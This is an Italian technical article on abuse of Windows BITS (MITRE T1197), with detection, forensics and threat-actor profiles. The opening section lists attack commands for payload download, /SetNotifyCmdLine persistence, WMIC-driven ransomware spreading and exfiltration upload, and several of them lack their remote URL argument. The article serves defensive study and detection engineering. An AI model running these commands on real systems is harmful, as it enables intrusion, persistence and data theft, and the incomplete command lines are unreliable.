BITS Jobs: Background Intelligent Transfer Service Abuse (T1197)

L'abuso di BITS si presta a scenari red team credibili perché sfrutta binari LOLBAS nativi e traffico che spesso passa inosservato. Il tool di riferimento è bitsadmin.exe (integrato in Windows, deprecato ma ancora presente), affiancato dai cmdlet PowerShell del modulo BitsTransfer (integrato, open source come parte di Windows).

Un tipico scenario di ingress tool transfer parte con la creazione di un job e l'aggiunta del payload remoto:

bitsadmin /create /download evergreen_job

bitsadmin /addfile evergreen_job C:\Users\Public\payload.exe

bitsadmin /resume evergreen_job

Per trasformare il download in persistenza ed esecuzione automatica, si sfrutta il flag /SetNotifyCmdLine, che registra un comando eseguito al completamento del trasferimento — la stessa tecnica documentata per UBoatRAT:

bitsadmin /SetNotifyCmdLine evergreen_job C:\Users\Public\payload.exe NULL

In PowerShell l'equivalente idiomatico è:

Start-BitsTransfer -Source -Destination C:\Windows\Temp\p.exe -TransferType Download -Asynchronous

Per massimizzare la persistenza si può impostare un JobInactivityTimeout elevato e usare /SetMinRetryDelay per mantenere il job in stato di retry indefinito, sopravvivendo ai riavvii. Su ambienti reali Wizard Spider ha combinato BITS con WMIC in batch script per distribuire ransomware lateralmente — riproducibile in lab con:

wmic /node:TARGET process call create "bitsadmin /transfer j /download C:\temp\r.exe"

Lato esfiltrazione (T1048), BITS supporta anche upload verso server SMB o HTTP autenticati:

bitsadmin /create /upload exfil_job

bitsadmin /addfile exfil_job C:\dati\report.zip

Per emulazione avanzata, strumenti come Atomic Red Team (open source, repository Red Canary su GitHub) includono test T1197 pronti all'uso, mentre Cobalt Strike (a pagamento) implementa nativamente il download del beacon via BITSAdmin, replicando esattamente il comportamento osservato in campagne reali.

In laboratorio è utile validare il comportamento con Sysinternals Process Monitor (gratuito) filtrando su svchost.exe con parent chain BITS, e ispezionare il database dei job con bitsadmin /list /allusers /verbose per verificare l'effettiva persistenza dopo reboot. Ricorda che a partire da Windows 10 alcuni flag di bitsadmin sono deprecati in favore dei cmdlet PowerShell, quindi in test di detection engineering entrambe le superfici vanno coperte.

La detection di T1197 poggia su una catena comportamentale correlata: creazione del job, trasferimento di rete e — se presente — esecuzione del comando di notify. Nessuno di questi eventi singolarmente è anomalo (Windows Update usa BITS costantemente), ma la loro combinazione con endpoint non corporate o binari sospetti è ad alta fedeltà.

Le log source primarie sono quattro. Il canale Microsoft-Windows-Bits-Client/Operational registra creazione, aggiunta file, avvio e completamento job — gli event ID chiave sono 3 (job creato), 59 (trasferimento iniziato), 60 (trasferimento completato) e 4 (job cancellato). Sysmon fornisce Event ID 1 (process creation) per catturare bitsadmin.exe con command line e parent process, Event ID 3 (network connection) per correlare le connessioni originate da svchost.exe -k netsvcs -s BITS, e Event ID 11 per la scrittura del file scaricato. Il canale Microsoft-Windows-PowerShell/Operational con script block logging (Event ID 4104) intercetta l'uso dei cmdlet Start-BitsTransfer.

Le regole di correlazione più efficaci monitorano il flag /SetNotifyCmdLine — raro in contesti legittimi — soprattutto quando il comando notify punta a powershell.exe, cmd.exe, rundll32.exe o binari in %TEMP%, %APPDATA%, %PUBLIC%. Un secondo indicatore forte è svchost.exe con service tag BITS che apre connessioni verso IP esterni non appartenenti alla allow-list di WSUS, MEMCM o CDN vendor noti. Un terzo pattern è la creazione di job con lifetime esteso (verifica via bitsadmin /list /verbose: campi NOTIFICATION COMMAND LINE e RETRY DELAY).

Per ridurre i falsi positivi è indispensabile costruire una baseline degli aggiornamenti corporate: Windows Update genera decine di job BITS al giorno per macchina, così come Microsoft Teams, OneDrive e software vendor come Adobe. La finestra di correlazione consigliata tra creazione, transfer e notify va da 30 minuti a 24 ore, per intercettare anche scenari a bassa velocità.

Dal punto di vista D3FEND, la tecnica è coperta da controlli di Network Traffic Analysis (ispezione dei destinatari BITS), Process Spawn Analysis (svchost BITS che genera processi figli anomali), e Executable Allowlisting per bloccare notify command non firmati. Sul piano preventivo, l'hardening consigliato include la riduzione di JobInactivityTimeout e MaxDownloadTime via GPO (chiave HKLM\Software\Policies\Microsoft\Windows\BITS), la restrizione via WDAC/AppLocker dell'esecuzione di bitsadmin.exe per utenti non amministratori, e regole firewall che consentano traffico BITS solo verso destinazioni corporate autorizzate.

L'analisi forense di T1197 ruota attorno al database interno di BITS, un artefatto spesso trascurato ma estremamente ricco. Il file principale è %ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr.db (Windows 10+, formato ESE), preceduto dai legacy qmgr0.dat e qmgr1.dat nelle versioni antecedenti. Contiene metadati completi dei job: GUID, owner SID, URL sorgente, path di destinazione, stato, comando di notify, timestamp di creazione/modifica e retry count.

Per il parsing esistono strumenti dedicati: BitsParser di Microsoft DART (open source, repository GitHub microsoft/bitsparser) estrae job attivi e cancellati da qmgr.db, incluse le entry orfane che possono rivelare attività eliminata dall'attaccante. ANSSI-FR bits_parser (open source) opera in modo analogo con supporto per i formati legacy. In alternativa, su sistema live, bitsadmin /list /allusers /verbose mostra i job attivi ma non quelli cancellati né la cronologia storica.

La timeline forense tipica include: (1) evento di creazione job nel canale Bits-Client/Operational (EVTX in %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx); (2) scrittura del payload nel filesystem, correlabile via USN Journal ($UsnJrnl:$J) e MFT ($MFT) per timestamp $STANDARD_INFORMATION e $FILE_NAME; (3) modifica del prefetch di bitsadmin.exe (C:\Windows\Prefetch\BITSADMIN.EXE-*.pf) che registra ultimi run count e path di esecuzione; (4) eventuale prefetch del payload eseguito via notify command; (5) network artifact in Sysmon EVTX se attivo.

Artefatti aggiuntivi utili: ShimCache (SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache) e Amcache.hve (C:\Windows\AppCompat\Programs\Amcache.hve) registrano l'esecuzione del payload con SHA1 e path completo. Le ScheduledTasks vanno controllate perché alcuni attaccanti combinano BITS con task per garantire ridondanza. Il canale System registra l'avvio e l'arresto del servizio BITS (Event ID 7036).

Casi documentati offrono pivot investigativi precisi. Bazar e ProLock hanno usato BITS per il download iniziale del payload — cercare job con URL verso domini a bassa reputazione o IP diretti. Egregor ha sfruttato BITSAdmin per scaricare DLL malevole eseguite via rundll32.exe: correlare quindi le connessioni BITS con successive esecuzioni di rundll32 con path anomali. UBoatRAT ha usato /SetNotifyCmdLine per persistenza: nei dump di qmgr.db il campo notify command line è il primo indicatore da estrarre.

In linea con D3FEND, gli artefatti digitali chiave sono File, Process, Network Session e Persistence Mechanism, tutti ricostruibili incrociando qmgr.db con MFT, EVTX BITS-Client, Sysmon e prefetch.

L'abuso di BITS è trasversale a categorie e motivazioni molto diverse, segno di una tecnica matura e affidabile. I dati MITRE documentano cinque gruppi principali con TTP eterogenei ma pattern operativi convergenti.

APT41 (G0096), gruppo cinese a duplice mandato (spionaggio state-sponsored e operazioni finanziariamente motivate), ha impiegato BITSAdmin per il download e l'installazione di payload in intrusioni contro settori healthcare, telecomunicazioni, high-tech e videogaming. L'uso di BITS si integra nel loro toolkit variegato che alterna capacità custom e strumenti dual-use.

APT39 (G0087), attribuito all'Iran e focalizzato su targeting di infrastruttura telecomunicazioni e travel in Medio Oriente, ha invece sfruttato il protocollo BITS per esfiltrare dati dagli host compromessi, sfruttando la funzionalità di upload — un uso meno comune ma altrettanto efficace, perché il traffico appare come normale attività di aggiornamento uscente.

Leviathan (G0065), gruppo di espionage marittimo e ingegneristico anch'esso attribuito alla Cina, ha usato BITSAdmin per scaricare tool aggiuntivi nelle fasi post-exploitation, tipicamente second-stage dopo l'accesso iniziale via spear phishing.

Patchwork (G0040), APT collegato all'Asia meridionale con targeting su diplomazia, difesa e ricerca, ha impiegato job BITS per il download di payload malevoli, integrando la tecnica in catene di infezione avviate da documenti weaponized.

Wizard Spider (G0102), sindacato cybercriminale russofono dietro TrickBot, Ryuk e Conti, ha adottato un pattern distintivo: batch script che invocano WMIC per eseguire trasferimenti BITSAdmin del payload ransomware su ogni macchina compromessa. Questa combinazione WMIC+BITS consente distribuzione parallela in reti enterprise, minimizzando l'uso di tool custom rilevabili.

Sul piano del tool overlap, BITS è integrato in famiglie malware appartenenti a categorie diverse: Cobalt Strike (framework commerciale abusato pervasivamente), Bazar (loader associato a Wizard Spider), Egregor e ProLock (ransomware-as-a-service), UBoatRAT e MarkiRAT (RAT mirati), JPIN (backdoor). Questa diffusione trasversale conferma che BITS è considerato uno standard de-facto per living-off-the-land download.

Il pattern strategico è chiaro: gruppi state-sponsored (APT39, APT41, Leviathan, Patchwork) usano BITS prevalentemente per stealth e blending con traffico legittimo, mentre attori criminali (Wizard Spider, operatori Egregor/ProLock) lo integrano in workflow di distribuzione massiva di ransomware. La longevità della tecnica — utilizzata per oltre un decennio senza segni di dismissione — riflette sia la persistenza del servizio BITS come componente critico Windows sia la difficoltà di distinguere abuso da uso legittimo senza baseline accurate.

MITRE ATT&CK T1197 (BITS Jobs), tattiche TA0003 e TA0005. Gruppi G0040 (Patchwork), G0065 (Leviathan), G0087 (APT39), G0096 (APT41), G0102 (Wizard Spider). Software S0154, S0190, S0201, S0333, S0534, S0554, S0652, S0654. Mitigazioni M1018, M1028, M1037. Detection DET0098 (AN0274). Framework MITRE D3FEND per mapping controlli difensivi. Integrazione con conoscenza professionale per comandi bitsadmin, cmdlet PowerShell BitsTransfer, tool forensi BitsParser e artefatti Windows (qmgr.db, EVTX BITS-Client, Prefetch, Amcache).